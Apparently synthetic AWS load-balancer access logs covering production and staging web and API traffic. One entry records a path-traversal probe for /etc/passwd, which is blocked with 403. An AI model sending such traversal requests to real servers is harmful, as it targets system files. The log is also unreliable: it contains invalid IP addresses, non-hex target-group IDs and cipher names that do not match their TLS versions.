"Root=1-6723cfa2-966c21e3efc94033bd47ddf8" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:42.105391Z "forward" "-" "-" "10.0.48.39:443" "301" "-" "-" +https 2024-11-01T01:42:43.206536Z prod-web-alb 122.194.96.86:25252 10.0.225.185:443 0.085651 0.404768 0.016342 200 200 981 6256 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfa3-4f8486f39f4e4ecb867936eb" "prod-web-alb.example.com" "-" 0 2024-11-01T01:42:43.206536Z "forward" "-" "-" "10.0.225.185:443" "200" "-" "-" +https 2024-11-01T01:42:44.181694Z prod-api-alb 244.114.117.187:61878 10.0.58.83:443 0.022875 0.108946 0.008834 200 200 81 8018 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfa4-7dc64a4b40574800a731b4b3" "prod-api-alb.example.com" "-" 10 2024-11-01T01:42:44.181694Z "forward" "-" "-" "10.0.58.83:443" "200" "-" "-" +http 2024-11-01T01:42:44.957313Z staging-alb 100.33.162.150:24704 58.215.22.235:443 0.088976 0.262195 0.130752 404 404 377 2539 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfa4-ef050861fb5c47b48bb1288b" "staging-alb.example.com" "-" 2 2024-11-01T01:42:44.957313Z "forward" "-" "-" "58.215.22.235:443" "404" "-" "-" +https 2024-11-01T01:42:46.368758Z prod-web-alb 54.180.227.28:53190 10.0.55.218:443 0.002938 0.296137 0.003983 200 200 647 12735 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfa6-3c233da059184233ac3ee131" "prod-web-alb.example.com" "-" 10 2024-11-01T01:42:46.368758Z "forward" "-" "-" "10.0.55.218:443" "200" "-" "-" +https 2024-11-01T01:42:46.885222Z prod-web-alb 206.2.44.59:56657 10.0.32.5:443 0.069710 0.124869 0.098156 200 200 715 5313 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfa6-7dd2e686055840cda1d07191" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:46.885222Z "forward" "-" "-" "10.0.32.5:443" "200" "-" "-" +https 2024-11-01T01:42:48.870418Z prod-web-alb 75.54.106.85:32563 10.0.172.186:443 0.052772 0.176425 0.086061 200 200 870 562 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfa8-bbf3c13342a24bf8996a21cd" "prod-web-alb.example.com" "-" 8 2024-11-01T01:42:48.870418Z "forward" "-" "-" "10.0.172.186:443" "200" "-" "-" +https 2024-11-01T01:42:50.035810Z prod-web-alb 255.94.127.43:21058 10.0.138.56:443 0.074894 0.231317 0.000436 200 200 359 9622 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfaa-a50c5a43e7ca45e8944626ac" "prod-web-alb.example.com" "-" 7 2024-11-01T01:42:50.035810Z "forward" "-" "-" "10.0.138.56:443" "200" "-" "-" +https 2024-11-01T01:42:50.407078Z prod-api-alb 193.27.228.146:37555 10.0.249.240:443 0.068961 0.360849 0.094795 403 403 897 12012 "GET /../../../etc/passwd HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfaa-de87bad9b081422c92d2536a" "-" "-" 7 2024-11-01T01:42:50.407078Z "forward" "-" "-" "10.0.249.240:443" "403" "-" "-" +http 2024-11-01T01:42:51.067009Z staging-alb 169.61.155.131:60776 197.253.109.251:443 0.048839 0.734855 0.014118 200 200 747 5205 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfab-c477f295c7254c72a4f671b0" "staging-alb.example.com" "-" 4 2024-11-01T01:42:51.067009Z "forward" "-" "-" "197.253.109.251:443" "200" "-" "-" +https 2024-11-01T01:42:52.171816Z staging-alb 12.25.13.104:48351 146.236.171.175:443 0.091837 0.691601 0.107176 200 200 509 2550 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfac-90aa4576a09c41db84ce8d01" "staging-alb.example.com" "-" 0 2024-11-01T01:42:52.171816Z "forward" "-" "-" "146.236.171.175:443" "200" "-" "-" +https 2024-11-01T01:42:52.934966Z staging-alb 192.117.190.217:46330 67.79.184.7:80 0.110292 0.579598 0.013599 301 301 495 13989 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfac-baa8802449e1427f956288fa" "-" "-" 9 2024-11-01T01:42:52.934966Z "forward" "-" "-" "67.79.184.7:80" "301" "-" "-" +https 2024-11-01T01:42:53.379688Z prod-api-alb 225.156.74.159:49714 10.0.152.103:443 0.043062 0.462922 0.000422 404 404 11 13114 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfad-429ee514d16a47dbbe5647c2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:42:53.379688Z "forward" "-" "-" "10.0.152.103:443" "404" "-" "-" +https 2024-11-01T01:42:54.038597Z prod-api-alb 167.60.173.5:30119 10.0.26.132:443 0.039612 0.475803 0.067285 301 301 773 9563 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfae-5c0cad3a7f564e7c8054b132" "prod-api-alb.example.com" "-" 10 2024-11-01T01:42:54.038597Z "forward" "-" "-" "10.0.26.132:443" "301" "-" "-" +https 2024-11-01T01:42:54.956016Z prod-web-alb 196.167.185.172:63602 10.0.4.164:443 0.046924 0.249584 0.031267 200 200 950 7925 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfae-a7256d0926bb41728ad0975a" "prod-web-alb.example.com" "-" 4 2024-11-01T01:42:54.956016Z "forward" "-" "-" "10.0.4.164:443" "200" "-" "-" +http 2024-11-01T01:42:56.217545Z staging-alb 20.183.245.228:48941 35.103.238.17:8080 0.123639 0.255562 0.065392 404 404 501 330 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfb0-790a92da1a5c4c9d9fae6856" "staging-alb.example.com" "-" 2 2024-11-01T01:42:56.217545Z "forward" "-" "-" "35.103.238.17:8080" "404" "-" "-" +https 2024-11-01T01:42:57.486040Z staging-alb 30.122.122.94:46366 155.77.247.235:80 0.042708 0.022511 0.044815 404 404 656 9982 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfb1-9210438662234227a7f05d09" "staging-alb.example.com" "-" 7 2024-11-01T01:42:57.486040Z "forward" "-" "-" "155.77.247.235:80" "404" "-" "-" +https 2024-11-01T01:42:58.300231Z prod-web-alb 115.87.219.219:28096 10.0.25.225:443 0.080903 0.446320 0.004502 200 200 501 5500 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfb2-706418b87c9f47a49834fb8e" "prod-web-alb.example.com" "-" 0 2024-11-01T01:42:58.300231Z "forward" "-" "-" "10.0.25.225:443" "200" "-" "-" +https 2024-11-01T01:43:00.207561Z prod-api-alb 245.87.143.219:14907 10.0.138.184:443 0.012885 0.342074 0.083311 404 404 331 9937 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfb4-4715a0c3dfe441258c9d7aea" "prod-api-alb.example.com" "-" 4 2024-11-01T01:43:00.207561Z "forward" "-" "-" "10.0.138.184:443" "404" "-" "-" +https 2024-11-01T01:43:01.795790Z prod-api-alb 102.198.240.194:37227 10.0.28.94:443 0.001301 0.323165 0.073452 302 302 595 8017 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfb5-806f3e5b2fcb4716bb07667b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:43:01.795790Z "forward" "-" "-" "10.0.28.94:443" "302" "-" "-" +https 2024-11-01T01:43:03.644074Z prod-web-alb 36.181.134.55:63205 10.0.230.80:443 0.013195 0.286443 0.075327 302 302 695 7215 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfb7-f1bef83e442d42faa22563b6" "prod-web-alb.example.com" "-" 0 2024-11-01T01:43:03.644074Z "forward" "-" "-" "10.0.230.80:443" "302" "-" "-" +https 2024-11-01T01:43:03.847310Z prod-api-alb 191.246.217.127:54369 10.0.108.94:443 0.093920 0.399844 0.032059 301 301 443 891 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfb7-e7353cfe29554a9b84f3ee33" "prod-api-alb.example.com" "-" 1 2024-11-01T01:43:03.847310Z "forward" "-" "-" "10.0.108.94:443" "301" "-" "-" +https 2024-11-01T01:43:04.693408Z prod-web-alb 241.72.133.236:55617 10.0.81.147:443 0.098752 0.389739 0.071545 200 200 11 6288 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfb8-1cf9d7a7c600419ab1df00dc" "prod-web-alb.example.com" "-" 3 2024-11-01T01:43:04.693408Z "forward" "-" "-" "10.0.81.147:443" "200" "-" "-" +https 2024-11-01T01:43:05.899841Z staging-alb 152.111.207.57:45114 63.106.128.160:80 0.096012 0.121722 0.125772 200 200 154 2205 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfb9-c361b4693e164ea586f1dd99" "staging-alb.example.com" "-" 7 2024-11-01T01:43:05.899841Z "forward" "-" "-" "63.106.128.160:80" "200" "-" "-" +http 2024-11-01T01:43:06.049884Z staging-alb 39.123.147.4:18482 105.244.93.229:80 0.025550 0.506656 0.002902 200 200 477 2709 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfba-3ed09ea16c724c38bb407921" "staging-alb.example.com" "-" 9 2024-11-01T01:43:06.049884Z "forward" "-" "-" "105.244.93.229:80" "200" "-" "-" +https 2024-11-01T01:43:07.127388Z prod-api-alb 144.99.60.24:44515 10.0.207.202:443 0.070769 0.407461 0.011679 200 200 179 13532 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfbb-2b4cf93e4df344158b3a0f2f" "prod-api-alb.example.com" "-" 9 2024-11-01T01:43:07.127388Z "forward" "-" "-" "10.0.207.202:443" "200" "-" "-" +http 2024-11-01T01:43:08.691103Z staging-alb 109.103.16.50:12791 65.96.7.224:443 0.054004 0.513502 0.005278 302 302 343 11158 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfbc-85ddb04d1a664ed5a047c16a" "-" "-" 5 2024-11-01T01:43:08.691103Z "forward" "-" "-" "65.96.7.224:443" "302" "-" "-" +https 2024-11-01T01:43:09.069033Z prod-web-alb 214.187.10.70:35472 10.0.133.39:443 0.006324 0.157448 0.043956 200 200 190 1405 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfbd-49081046cdc24784a046d8a7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:43:09.069033Z "forward" "-" "-" "10.0.133.39:443" "200" "-" "-" +https 2024-11-01T01:43:10.042287Z prod-api-alb 177.100.22.75:40730 10.0.34.56:443 0.061006 0.020751 0.057984 404 404 109 11002 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfbe-56c1509990a7458d82ec2ca6" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:10.042287Z "forward" "-" "-" "10.0.34.56:443" "404" "-" "-" +https 2024-11-01T01:43:11.417454Z prod-api-alb 107.49.10.132:17932 10.0.247.188:443 0.014900 0.000007 0.087174 200 200 82 4826 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfbf-4c3b2501340844fc8b6cd8b2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:43:11.417454Z "forward" "-" "-" "10.0.247.188:443" "200" "-" "-" +https 2024-11-01T01:43:11.885250Z prod-api-alb 129.69.53.82:38911 10.0.18.231:443 0.084076 0.298498 0.021192 200 200 34 9507 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfbf-448fe0eaeb2d472eaeb0a92e" "prod-api-alb.example.com" "-" 0 2024-11-01T01:43:11.885250Z "forward" "-" "-" "10.0.18.231:443" "200" "-" "-" +https 2024-11-01T01:43:12.691501Z staging-alb 1.87.124.19:58331 157.252.172.198:8080 0.088295 0.605962 0.016359 200 200 665 9763 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfc0-55ffb66e5a8d45c78228c3dd" "staging-alb.example.com" "-" 10 2024-11-01T01:43:12.691501Z "forward" "-" "-" "157.252.172.198:8080" "200" "-" "-" +https 2024-11-01T01:43:12.820062Z prod-web-alb 138.30.170.79:18652 10.0.228.189:443 0.043708 0.056849 0.012744 301 301 611 6574 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfc0-ec19f53971a548f6a21224b9" "prod-web-alb.example.com" "-" 2 2024-11-01T01:43:12.820062Z "forward" "-" "-" "10.0.228.189:443" "301" "-" "-" +https 2024-11-01T01:43:14.314220Z prod-web-alb 198.143.244.76:25162 10.0.204.220:443 0.018159 0.162287 0.090900 302 302 503 1867 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfc2-d132e577dc68471fb4de89da" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:14.314220Z "forward" "-" "-" "10.0.204.220:443" "302" "-" "-" +https 2024-11-01T01:43:15.089088Z staging-alb 134.168.121.222:12105 137.209.10.251:443 0.075715 0.301545 0.116411 200 200 72 8823 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfc3-19add41ccf0341a79cbf1e35" "staging-alb.example.com" "-" 6 2024-11-01T01:43:15.089088Z "forward" "-" "-" "137.209.10.251:443" "200" "-" "-" +https 2024-11-01T01:43:16.651276Z prod-api-alb 113.193.209.218:51844 10.0.174.24:443 0.070062 0.194590 0.092677 200 200 255 5457 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfc4-9714ea9010d64a36b52f3fe6" "-" "-" 5 2024-11-01T01:43:16.651276Z "forward" "-" "-" "10.0.174.24:443" "200" "-" "-" +https 2024-11-01T01:43:17.731015Z prod-api-alb 220.22.80.121:10128 10.0.29.247:443 0.019424 0.366883 0.089321 404 404 291 4124 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfc5-76aea51e6e2f4dd39c5849d0" "prod-api-alb.example.com" "-" 7 2024-11-01T01:43:17.731015Z "forward" "-" "-" "10.0.29.247:443" "404" "-" "-" +https 2024-11-01T01:43:18.981870Z prod-api-alb 60.164.156.217:62851 10.0.128.220:443 0.024525 0.099679 0.061427 301 301 101 5475 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfc6-179b27d988984365a18e783e" "prod-api-alb.example.com" "-" 9 2024-11-01T01:43:18.981870Z "forward" "-" "-" "10.0.128.220:443" "301" "-" "-" +https 2024-11-01T01:43:20.149685Z prod-web-alb 182.219.238.104:40247 10.0.45.64:443 0.007910 0.127423 0.059882 302 302 36 12010 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfc8-b046e017138247e59302da67" "prod-web-alb.example.com" "-" 9 2024-11-01T01:43:20.149685Z "forward" "-" "-" "10.0.45.64:443" "302" "-" "-" +https 2024-11-01T01:43:22.065770Z prod-web-alb 37.155.227.156:62614 10.0.201.12:443 0.034339 0.402606 0.088269 200 200 207 7588 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfca-436fe92e2e8c4a0c8a27b4e8" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:22.065770Z "forward" "-" "-" "10.0.201.12:443" "200" "-" "-" +http 2024-11-01T01:43:23.126040Z staging-alb 232.79.118.84:43811 79.103.52.162:8080 0.141054 0.637939 0.040891 200 200 108 8504 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cfcb-00c572395e8c4da085d433f5" "staging-alb.example.com" "-" 8 2024-11-01T01:43:23.126040Z "forward" "-" "-" "79.103.52.162:8080" "200" "-" "-" +http 2024-11-01T01:43:23.661812Z staging-alb 187.171.13.44:60903 252.164.109.16:80 0.035566 0.171709 0.032717 200 200 358 4377 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cfcb-b999abcdd5eb4d59bfaee74d" "staging-alb.example.com" "-" 3 2024-11-01T01:43:23.661812Z "forward" "-" "-" "252.164.109.16:80" "200" "-" "-" +https 2024-11-01T01:43:25.401032Z prod-api-alb 180.189.119.215:39665 10.0.205.1:443 0.010896 0.263266 0.036257 200 200 657 6417 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cfcd-6dcae992bd38448095f51314" "prod-api-alb.example.com" "-" 5 2024-11-01T01:43:25.401032Z "forward" "-" "-" "10.0.205.1:443" "200" "-" "-" +https 2024-11-01T01:43:26.288957Z prod-api-alb 252.144.114.54:22253 10.0.89.220:443 0.088323 0.170647 0.000887 301 301 825 12480 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cfce-6af8a3bf6992489cbfe2d373" "prod-api-alb.example.com" "-" 8 2024-11-01T01:43:26.288957Z "forward" "-" "-" "10.0.89.220:443" "301" "-" "-" +https 2024-11-01T01:43:27.455853Z prod-web-alb 208.81.166.115:24465 10.0.55.246:443 0.082653 0.324379 0.022890 200 200 920 1238 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfcf-c0ca8bb7f1ff479a8367a767" "prod-web-alb.example.com" "-" 1 2024-11-01T01:43:27.455853Z "forward" "-" "-" "10.0.55.246:443" "200" "-" "-" +https 2024-11-01T01:43:27.976208Z prod-web-alb 242.12.72.94:60763 10.0.75.171:443 0.057800 0.146159 0.021189 200 200 709 3053 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cfcf-a3f4ad01bb8d4eb1bcbc224f" "prod-web-alb.example.com" "-" 0 2024-11-01T01:43:27.976208Z "forward" "-" "-" "10.0.75.171:443" "200" "-" "-" +https 2024-11-01T01:43:29.242023Z prod-web-alb 39.135.202.40:27389 10.0.152.191:443 0.010752 0.026444 0.090739 200 200 494 5718 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cfd1-cae98dfea5334306b3dab7a1" "prod-web-alb.example.com" "-" 10 2024-11-01T01:43:29.242023Z "forward" "-" "-" "10.0.152.191:443" "200" "-" "-" +https 2024-11-01T01:43:31.067771Z prod-web-alb 73.60.29.72:44405 10.0.202.92:443 0.052683 0.466560 0.031544 301 301 464 7341 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 